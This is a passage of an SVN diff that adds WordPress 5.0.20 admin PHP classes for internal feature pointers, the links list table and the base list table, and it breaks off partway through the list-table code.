+++ /tags/5.0.20/src/wp-admin/includes/class-wp-internal-pointers.php	(revision 56912)
@@ -0,0 +1,203 @@
+<?php
+/**
+ * Administration API: WP_Internal_Pointers class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement an internal admin pointers API.
+ *
+ * @since 3.3.0
+ */
+final class WP_Internal_Pointers {
+	/**
+	 * Initializes the new feature pointers.
+	 *
+	 * @since 3.3.0
+	 *
+	 * All pointers can be disabled using the following:
+	 *     remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
+	 *
+	 * Individual pointers (e.g. wp390_widgets) can be disabled using the following:
+	 *     remove_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' ) );
+	 *
+	 * @static
+	 *
+	 * @param string $hook_suffix The current admin page.
+	 */
+	public static function enqueue_scripts( $hook_suffix ) {
+		/*
+		 * Register feature pointers
+		 *
+		 * Format:
+		 *     array(
+		 *         hook_suffix => pointer callback
+		 *     )
+		 *
+		 * Example:
+		 *     array(
+		 *         'themes.php' => 'wp390_widgets'
+		 *     )
+		 */
+		$registered_pointers = array(
+			'index.php' => 'wp496_privacy',
+		);
+
+		// Check if screen related pointer is registered
+		if ( empty( $registered_pointers[ $hook_suffix ] ) )
+			return;
+
+		$pointers = (array) $registered_pointers[ $hook_suffix ];
+
+		/*
+		 * Specify required capabilities for feature pointers
+		 *
+		 * Format:
+		 *     array(
+		 *         pointer callback => Array of required capabilities
+		 *     )
+		 *
+		 * Example:
+		 *     array(
+		 *         'wp390_widgets' => array( 'edit_theme_options' )
+		 *     )
+		 */
+		$caps_required = array(
+			'wp496_privacy' => array(
+				'manage_privacy_options',
+				'export_others_personal_data',
+				'erase_others_personal_data',
+			),
+		);
+
+		// Get dismissed pointers
+		$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
+
+		$got_pointers = false;
+		foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
+			if ( isset( $caps_required[ $pointer ] ) ) {
+				foreach ( $caps_required[ $pointer ] as $cap ) {
+					if ( ! current_user_can( $cap ) )
+						continue 2;
+				}
+			}
+
+			// Bind pointer print function
+			add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
+			$got_pointers = true;
+		}
+
+		if ( ! $got_pointers )
+			return;
+
+		// Add pointers script and style to queue
+		wp_enqueue_style( 'wp-pointer' );
+		wp_enqueue_script( 'wp-pointer' );
+	}
+
+	/**
+	 * Print the pointer JavaScript data.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @static
+	 *
+	 * @param string $pointer_id The pointer ID.
+	 * @param string $selector The HTML elements, on which the pointer should be attached.
+	 * @param array  $args Arguments to be passed to the pointer JS (see wp-pointer.js).
+	 */
+	private static function print_js( $pointer_id, $selector, $args ) {
+		if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) )
+			return;
+
+		?>
+		<script type="text/javascript">
+		(function($){
+			var options = <?php echo wp_json_encode( $args ); ?>, setup;
+
+			if ( ! options )
+				return;
+
+			options = $.extend( options, {
+				close: function() {
+					$.post( ajaxurl, {
+						pointer: '<?php echo $pointer_id; ?>',
+						action: 'dismiss-wp-pointer'
+					});
+				}
+			});
+
+			setup = function() {
+				$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
+			};
+
+			if ( options.position && options.position.defer_loading )
+				$(window).bind( 'load.wp-pointers', setup );
+			else
+				$(document).ready( setup );
+
+		})( jQuery );
+		</script>
+		<?php
+	}
+
+	public static function pointer_wp330_toolbar() {}
+	public static function pointer_wp330_media_uploader() {}
+	public static function pointer_wp330_saving_widgets() {}
+	public static function pointer_wp340_customize_current_theme_link() {}
+	public static function pointer_wp340_choose_image_from_library() {}
+	public static function pointer_wp350_media() {}
+	public static function pointer_wp360_revisions() {}
+	public static function pointer_wp360_locks() {}
+	public static function pointer_wp390_widgets() {}
+	public static function pointer_wp410_dfw() {}
+
+	/**
+	 * Display a pointer for the new privacy tools.
+	 *
+	 * @since 4.9.6
+	 */
+	public static function pointer_wp496_privacy() {
+		$content  = '<h3>' . __( 'Personal Data and Privacy' ) . '</h3>';
+		$content .= '<h4>' . __( 'Personal Data Export and Erasure' ) . '</h4>';
+		$content .= '<p>' . __( 'New <strong>Tools</strong> have been added to help you with personal data export and erasure requests.' ) . '</p>';
+		$content .= '<h4>' . __( 'Privacy Policy' ) . '</h4>';
+		$content .= '<p>' . __( 'Create or select your site&#8217;s privacy policy page under <strong>Settings &gt; Privacy</strong> to keep your users informed and aware.' ) . '</p>';
+
+		if ( is_rtl() ) {
+			$position = array(
+				'edge'  => 'right',
+				'align' => 'bottom',
+			);
+		} else {
+			$position = array(
+				'edge'  => 'left',
+				'align' => 'bottom',
+			);
+		}
+
+		$js_args = array(
+			'content'  => $content,
+			'position' => $position,
+			'pointerClass' => 'wp-pointer arrow-bottom',
+			'pointerWidth' => 420,
+		);
+		self::print_js( 'wp496_privacy', '#menu-tools', $js_args );
+	}
+
+	/**
+	 * Prevents new users from seeing existing 'new feature' pointers.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @static
+	 *
+	 * @param int $user_id User ID.
+	 */
+	public static function dismiss_pointers_for_new_users( $user_id ) {
+		add_user_meta( $user_id, 'dismissed_wp_pointers', 'wp496_privacy' );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-links-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-links-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-links-list-table.php	(revision 56912)
@@ -0,0 +1,321 @@
+<?php
+/**
+ * List Table API: WP_Links_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying links in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Tsble
+ */
+class WP_Links_List_Table extends WP_List_Table {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'plural' => 'bookmarks',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can( 'manage_links' );
+	}
+
+	/**
+	 *
+	 * @global int    $cat_id
+	 * @global string $s
+	 * @global string $orderby
+	 * @global string $order
+	 */
+	public function prepare_items() {
+		global $cat_id, $s, $orderby, $order;
+
+		wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) );
+
+		$args = array( 'hide_invisible' => 0, 'hide_empty' => 0 );
+
+		if ( 'all' != $cat_id )
+			$args['category'] = $cat_id;
+		if ( !empty( $s ) )
+			$args['search'] = $s;
+		if ( !empty( $orderby ) )
+			$args['orderby'] = $orderby;
+		if ( !empty( $order ) )
+			$args['order'] = $order;
+
+		$this->items = get_bookmarks( $args );
+	}
+
+	/**
+	 */
+	public function no_items() {
+		_e( 'No links found.' );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+		$actions['delete'] = __( 'Delete' );
+
+		return $actions;
+	}
+
+	/**
+	 *
+	 * @global int $cat_id
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+		global $cat_id;
+
+		if ( 'top' != $which )
+			return;
+?>
+		<div class="alignleft actions">
+<?php
+			$dropdown_options = array(
+				'selected' => $cat_id,
+				'name' => 'cat_id',
+				'taxonomy' => 'link_category',
+				'show_option_all' => get_taxonomy( 'link_category' )->labels->all_items,
+				'hide_empty' => true,
+				'hierarchical' => 1,
+				'show_count' => 0,
+				'orderby' => 'name',
+			);
+
+			echo '<label class="screen-reader-text" for="cat_id">' . __( 'Filter by category' ) . '</label>';
+			wp_dropdown_categories( $dropdown_options );
+			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+?>
+		</div>
+<?php
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		return array(
+			'cb'         => '<input type="checkbox" />',
+			'name'       => _x( 'Name', 'link name' ),
+			'url'        => __( 'URL' ),
+			'categories' => __( 'Categories' ),
+			'rel'        => __( 'Relationship' ),
+			'visible'    => __( 'Visible' ),
+			'rating'     => __( 'Rating' )
+		);
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'name'    => 'name',
+			'url'     => 'url',
+			'visible' => 'visible',
+			'rating'  => 'rating'
+		);
+	}
+
+	/**
+	 * Get the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'name'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'name';
+	}
+
+	/**
+	 * Handles the checkbox column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_cb( $link ) {
+		?>
+		<label class="screen-reader-text" for="cb-select-<?php echo $link->link_id; ?>"><?php echo sprintf( __( 'Select %s' ), $link->link_name ); ?></label>
+		<input type="checkbox" name="linkcheck[]" id="cb-select-<?php echo $link->link_id; ?>" value="<?php echo esc_attr( $link->link_id ); ?>" />
+		<?php
+	}
+
+	/**
+	 * Handles the link name column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_name( $link ) {
+		$edit_link = get_edit_bookmark_link( $link );
+		printf( '<strong><a class="row-title" href="%s" aria-label="%s">%s</a></strong>',
+			$edit_link,
+			/* translators: %s: link name */
+			esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $link->link_name ) ),
+			$link->link_name
+		);
+	}
+
+	/**
+	 * Handles the link URL column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_url( $link ) {
+		$short_url = url_shorten( $link->link_url );
+		echo "<a href='$link->link_url'>$short_url</a>";
+	}
+
+	/**
+	 * Handles the link categories column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global int $cat_id
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_categories( $link ) {
+		global $cat_id;
+
+		$cat_names = array();
+		foreach ( $link->link_category as $category ) {
+			$cat = get_term( $category, 'link_category', OBJECT, 'display' );
+			if ( is_wp_error( $cat ) ) {
+				echo $cat->get_error_message();
+			}
+			$cat_name = $cat->name;
+			if ( $cat_id != $category ) {
+				$cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>";
+			}
+			$cat_names[] = $cat_name;
+		}
+		echo implode( ', ', $cat_names );
+	}
+
+	/**
+	 * Handles the link relation column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_rel( $link ) {
+		echo empty( $link->link_rel ) ? '<br />' : $link->link_rel;
+	}
+
+	/**
+	 * Handles the link visibility column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_visible( $link ) {
+		if ( 'Y' === $link->link_visible ) {
+			_e( 'Yes' );
+		} else {
+			_e( 'No' );
+		}
+	}
+
+	/**
+	 * Handles the link rating column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link The current link object.
+	 */
+	public function column_rating( $link ) {
+		echo $link->link_rating;
+	}
+
+	/**
+	 * Handles the default column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link        Link object.
+	 * @param string $column_name Current column name.
+	 */
+	public function column_default( $link, $column_name ) {
+		/**
+		 * Fires for each registered custom link column.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $column_name Name of the custom column.
+		 * @param int    $link_id     Link ID.
+		 */
+		do_action( 'manage_link_custom_column', $column_name, $link->link_id );
+	}
+
+	public function display_rows() {
+		foreach ( $this->items as $link ) {
+			$link = sanitize_bookmark( $link );
+			$link->link_name = esc_attr( $link->link_name );
+			$link->link_category = wp_get_link_cats( $link->link_id );
+?>
+		<tr id="link-<?php echo $link->link_id; ?>">
+			<?php $this->single_row_columns( $link ) ?>
+		</tr>
+<?php
+		}
+	}
+
+	/**
+	 * Generates and displays row action links.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $link        Link being acted upon.
+	 * @param string $column_name Current column name.
+	 * @param string $primary     Primary column name.
+	 * @return string Row action output for links.
+	 */
+	protected function handle_row_actions( $link, $column_name, $primary ) {
+		if ( $primary !== $column_name ) {
+			return '';
+		}
+
+		$edit_link = get_edit_bookmark_link( $link );
+
+		$actions = array();
+		$actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>';
+		$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url("link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id) . "' onclick=\"if ( confirm( '" . esc_js(sprintf(__("You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete."), $link->link_name)) . "' ) ) { return true;}return false;\">" . __('Delete') . "</a>";
+		return $this->row_actions( $actions );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-list-table-compat.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-list-table-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-list-table-compat.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Helper functions for displaying a list of items in an ajaxified HTML table.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 4.7.0
+ */
+
+/**
+ * Helper class to be used only by back compat functions
+ *
+ * @since 3.1.0
+ */
+class _WP_List_Table_Compat extends WP_List_Table {
+	public $_screen;
+	public $_columns;
+
+	public function __construct( $screen, $columns = array() ) {
+		if ( is_string( $screen ) )
+			$screen = convert_to_screen( $screen );
+
+		$this->_screen = $screen;
+
+		if ( !empty( $columns ) ) {
+			$this->_columns = $columns;
+			add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 );
+		}
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_column_info() {
+		$columns = get_column_headers( $this->_screen );
+		$hidden = get_hidden_columns( $this->_screen );
+		$sortable = array();
+		$primary = $this->get_default_primary_column_name();
+
+		return array( $columns, $hidden, $sortable, $primary );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		return $this->_columns;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-list-table.php	(revision 56912)
@@ -0,0 +1,1336 @@
+<?php
+/**
+ * Administration API: WP_List_Table class
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ */
+
+/**
+ * Base class for displaying a list of items in an ajaxified HTML table.
+ *
+ * @since 3.1.0
+ * @access private
+ */
+class WP_List_Table {
+
+	/**
+	 * The current list of items.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	public $items;
+
+	/**
+	 * Various information about the current table.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	protected $_args;
+
+	/**
+	 * Various information needed for displaying the pagination.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	protected $_pagination_args = array();
+
+	/**
+	 * The current screen.
+	 *
+	 * @since 3.1.0
+	 * @var object
+	 */
+	protected $screen;
+
+	/**
+	 * Cached bulk actions.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	private $_actions;
+
+	/**
+	 * Cached pagination output.
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 */
+	private $_pagination;
+
+	/**
+	 * The view switcher modes.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	protected $modes = array();
+
+	/**
+	 * Stores the value returned by ->get_column_info().
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	protected $_column_headers;
+
+	/**
+	 * {@internal Missing Summary}
+	 *
+	 * @var array
+	 */
+	protected $compat_fields = array( '_args', '_pagination_args', 'screen', '_actions', '_pagination' );
+
+	/**
+	 * {@internal Missing Summary}
+	 *
+	 * @var array
+	 */
+	protected $compat_methods = array( 'set_pagination_args', 'get_views', 'get_bulk_actions', 'bulk_actions',
+		'row_actions', 'months_dropdown', 'view_switcher', 'comments_bubble', 'get_items_per_page', 'pagination',
+		'get_sortable_columns', 'get_column_info', 'get_table_classes', 'display_tablenav', 'extra_tablenav',
+		'single_row_columns' );
+
+	/**
+	 * Constructor.
+	 *
+	 * The child class should call this constructor from its own constructor to override
+	 * the default $args.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array|string $args {
+	 *     Array or string of arguments.
+	 *
+	 *     @type string $plural   Plural value used for labels and the objects being listed.
+	 *                            This affects things such as CSS class-names and nonces used
+	 *                            in the list table, e.g. 'posts'. Default empty.
+	 *     @type string $singular Singular label for an object being listed, e.g. 'post'.
+	 *                            Default empty
+	 *     @type bool   $ajax     Whether the list table supports Ajax. This includes loading
+	 *                            and sorting data, for example. If true, the class will call
+	 *                            the _js_vars() method in the footer to provide variables
+	 *                            to any scripts handling Ajax events. Default false.
+	 *     @type string $screen   String containing the hook name used to determine the current
+	 *                            screen. If left null, the current screen will be automatically set.
+	 *                            Default null.
+	 * }
+	 */
+	public function __construct( $args = array() ) {
+		$args = wp_parse_args( $args, array(
+			'plural' => '',
+			'singular' => '',
+			'ajax' => false,
+			'screen' => null,
+		) );
+
+		$this->screen = convert_to_screen( $args['screen'] );
+
+		add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 );
+
+		if ( !$args['plural'] )
+			$args['plural'] = $this->screen->base;
+
+		$args['plural'] = sanitize_key( $args['plural'] );
+		$args['singular'] = sanitize_key( $args['singular'] );
+
+		$this->_args = $args;
+
+		if ( $args['ajax'] ) {
+			// wp_enqueue_script( 'list-table' );
+			add_action( 'admin_footer', array( $this, '_js_vars' ) );
+		}
+
+		if ( empty( $this->modes ) ) {
+			$this->modes = array(
+				'list'    => __( 'List View' ),
+				'excerpt' => __( 'Excerpt View' )
+			);
+		}
+	}
+
+	/**
+	 * Make private properties readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name;
+		}
+	}
+
+	/**
+	 * Make private properties settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name  Property to check if set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name = $value;
+		}
+	}
+
+	/**
+	 * Make private properties checkable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return isset( $this->$name );
+		}
+	}
+
+	/**
+	 * Make private properties un-settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			unset( $this->$name );
+		}
+	}
+
+	/**
+	 * Make private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( in_array( $name, $this->compat_methods ) ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+	 * Checks the current user's permissions
+	 *
+	 * @since 3.1.0
+	 * @abstract
+	 */
+	public function ajax_user_can() {
+		die( 'function WP_List_Table::ajax_user_can() must be over-ridden in a sub-class.' );
+	}
+
+	/**
+	 * Prepares the list of items for displaying.
+	 * @uses WP_List_Table::set_pagination_args()
+	 *
+	 * @since 3.1.0
+	 * @abstract
+	 */
+	public function prepare_items() {
+		die( 'function WP_List_Table::prepare_items() must be over-ridden in a sub-class.' );
+	}
+
+	/**
+	 * An internal method that sets all the necessary pagination arguments
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array|string $args Array or string of arguments with information about the pagination.
+	 */
+	protected function set_pagination_args( $args ) {
+		$args = wp_parse_args( $args, array(
+			'total_items' => 0,
+			'total_pages' => 0,
+			'per_page' => 0,
+		) );
+
+		if ( !$args['total_pages'] && $args['per_page'] > 0 )
+			$args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] );
+
+		// Redirect if page number is invalid and headers are not already sent.
+		if ( ! headers_sent() && ! wp_doing_ajax() && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) {
+			wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) );
+			exit;
+		}
+
+		$this->_pagination_args = $args;
+	}
+
+	/**
+	 * Access the pagination args.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $key Pagination argument to retrieve. Common values include 'total_items',
+	 *                    'total_pages', 'per_page', or 'infinite_scroll'.
+	 * @return int Number of items that correspond to the given pagination argument.
+	 */
+	public function get_pagination_arg( $key ) {
+		if ( 'page' === $key ) {
+			return $this->get_pagenum();
+		}
+
+		if ( isset( $this->_pagination_args[$key] ) ) {
+			return $this->_pagination_args[$key];
+		}
+	}
+
+	/**
+	 * Whether the table has items to display or not
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function has_items() {
+		return !empty( $this->items );
+	}
+
+	/**
+	 * Message to be displayed when there are no items
+	 *
+	 * @since 3.1.0
+	 */
+	public function no_items() {
+		_e( 'No items found.' );
+	}
+
+	/**
+	 * Displays the search box.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $text     The 'submit' button label.
+	 * @param string $input_id ID attribute value for the search input field.
+	 */
+	public function search_box( $text, $input_id ) {
+		if ( empty( $_REQUEST['s'] ) && !$this->has_items() )
+			return;
+
+		$input_id = $input_id . '-search-input';
+
+		if ( ! empty( $_REQUEST['orderby'] ) )
+			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
+		if ( ! empty( $_REQUEST['order'] ) )
+			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
+		if ( ! empty( $_REQUEST['post_mime_type'] ) )
+			echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />';
+		if ( ! empty( $_REQUEST['detached'] ) )
+			echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />';
+?>
+<p class="search-box">
+	<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
+	<input type="search" id="<?php echo esc_attr( $input_id ); ?>" name="s" value="<?php _admin_search_query(); ?>" />
+	<?php submit_button( $text, '', '', false, array( 'id' => 'search-submit' ) ); ?>
+</p>
+<?php
+	}
+
+	/**
+	 * Get an associative array ( id => link ) with the list
+	 * of views available on this table.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array
+	 */
+	protected function get_views() {
+		return array();
+	}
+
+	/**
+	 * Display the list of views available on this table.
+	 *
+	 * @since 3.1.0
+	 */
+	public function views() {
+		$views = $this->get_views();
+		/**
+		 * Filters the list of available list table views.
+		 *
+		 * The dynamic portion of the hook name, `$this->screen->id`, refers
+		 * to the ID of the current screen, usually a string.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array $views An array of available list table views.
+		 */
+		$views = apply_filters( "views_{$this->screen->id}", $views );
+
+		if ( empty( $views ) )
+			return;
+
+		$this->screen->render_screen_reader_content( 'heading_views' );
+
+		echo "<ul class='subsubsub'>\n";
+		foreach ( $views as $class => $view ) {
+			$views[ $class ] = "\t<li class='$class'>$view";
+		}
+		echo implode( " |</li>\n", $views ) . "</li>\n";
+		echo "</ul>";
+	}
+
+	/**
+	 * Get an associative array ( option_name => option_title ) with the list
+	 * of bulk actions available on this table.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		return array();
+	}
+
+	/**
+	 * Display the bulk actions dropdown.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $which The location of the bulk actions: 'top' or 'bottom'.
+	 *                      This is designated as optional for backward compatibility.
+	 */
+	protected function bulk_actions( $which = '' ) {
+		if ( is_null( $this->_actions ) ) {
+			$this->_actions = $this->get_bulk_actions();
+			/**
+			 * Filters the list table Bulk Actions drop-down.
+			 *
+			 * The dynamic portion of the hook name, `$this->screen->id`, refers
+			 * to the ID of the current screen, usually a string.
+			 *
+			 * This filter can currently only be used to remove bulk actions.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param array $actions An array of the available bulk actions.
+			 */
+			$this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions );
+			$two = '';
+		} else {
+			$two = '2';
+		}
+
+		if ( empty( $this->_actions ) )
+			return;
+
+		echo '<label for="bulk-action-selector-' . esc_attr( $which ) . '" class="screen-reader-text">' . __( 'Select bulk action' ) . '</label>';
+		echo '<select name="action' . $two . '" id="bulk-action-selector-' . esc_attr( $which ) . "\">\n";
+		echo '<option value="-1">' . __( 'Bulk Actions' ) . "</option>\n";
+
+		foreach ( $this->_actions as $name => $title ) {
+			$class = 'edit' === $name ? ' class="hide-if-no-js"' : '';
+
+			echo "\t" . '<option value="' . $name . '"' . $class . '>' . $title . "</option>\n";
+		}
+
+		echo "</select>\n";
+
+		submit_button( __( 'Apply' ), 'action', '', false, array( 'id' => "doaction$two" ) );
+		echo "\n";
+	}
+
+	/**
+	 * Get the current action selected from the bulk actions dropdown.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return string|false The action name or False if no action was selected
+	 */
+	public function current_action() {
+		if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) )
+			return false;
+
+		if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] )
+			return $_REQUEST['action'];
+
+		if ( isset( $_REQUEST['action2'] ) && -1 != $_REQUEST['action2'] )
+			return $_REQUEST['action2'];
+
+		return false;
+	}
+
+	/**
+	 * Generate row actions div
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $actions The list of actions
+	 * @param bool $always_visible Whether the actions should be always visible
+	 * @return string
+	 */
+	protected function row_actions( $actions, $always_visible = false ) {
+		$action_count = count( $actions );
+		$i = 0;
+
+		if ( !$action_count )
+			return '';
+
+		$out = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			$out .= "<span class='$action'>$link$sep</span>";
+		}
+		$out .= '</div>';
+
+		$out .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>';
+
+		return $out;
+	}
+
+	/**
+	 * Display a monthly dropdown for filtering items
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global wpdb      $wpdb
+	 * @global WP_Locale $wp_locale
+	 *
+	 * @param string $post_type
+	 */
+	protected function months_dropdown( $post_type ) {
+		global $wpdb, $wp_locale;
+
+		/**
+		 * Filters whether to remove the 'Months' drop-down from the post list table.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param bool   $disable   Whether to disable the drop-down. Default false.
+		 * @param string $post_type The post type.
+		 */
+		if ( apply_filters( 'disable_months_dropdown', false, $post_type ) ) {
+			return;
+		}
+
+		$extra_checks = "AND post_status != 'auto-draft'";
+		if ( ! isset( $_GET['post_status'] ) || 'trash' !== $_GET['post_status'] ) {
+			$extra_checks .= " AND post_status != 'trash'";
+		} elseif ( isset( $_GET['post_status'] ) ) {
+			$extra_checks = $wpdb->prepare( ' AND post_status = %s', $_GET['post_status'] );
+		}
+
+		$months = $wpdb->get_results( $wpdb->prepare( "
+			SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
+			FROM $wpdb->posts
+			WHERE post_type = %s
+			$extra_checks
+			ORDER BY post_date DESC
+		", $post_type ) );
+
+		/**
+		 * Filters the 'Months' drop-down results.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param object $months    The months drop-down query results.
+		 * @param string $post_type The post type.
+		 */
+		$months = apply_filters( 'months_dropdown_results', $months, $post_type );
+
+		$month_count = count( $months );
+
+		if ( !$month_count || ( 1 == $month_count && 0 == $months[0]->month ) )
+			return;
+
+		$m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
+?>
+		<label for="filter-by-date" class="screen-reader-text"><?php _e( 'Filter by date' ); ?></label>
+		<select name="m" id="filter-by-date">
+			<option<?php selected( $m, 0 ); ?> value="0"><?php _e( 'All dates' ); ?></option>
+<?php
+		foreach ( $months as $arc_row ) {
+			if ( 0 == $arc_row->year )
+				continue;
+
+			$month = zeroise( $arc_row->month, 2 );
+			$year = $arc_row->year;
+
+			printf( "<option %s value='%s'>%s</option>\n",
+				selected( $m, $year . $month, false ),
+				esc_attr( $arc_row->year . $month ),
+				/* translators: 1: month name, 2: 4-digit year */
+				sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year )
+			);
+		}
+?>
+		</select>
+<?php
+	}
+
+	/**
+	 * Display a view switcher
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $current_mode
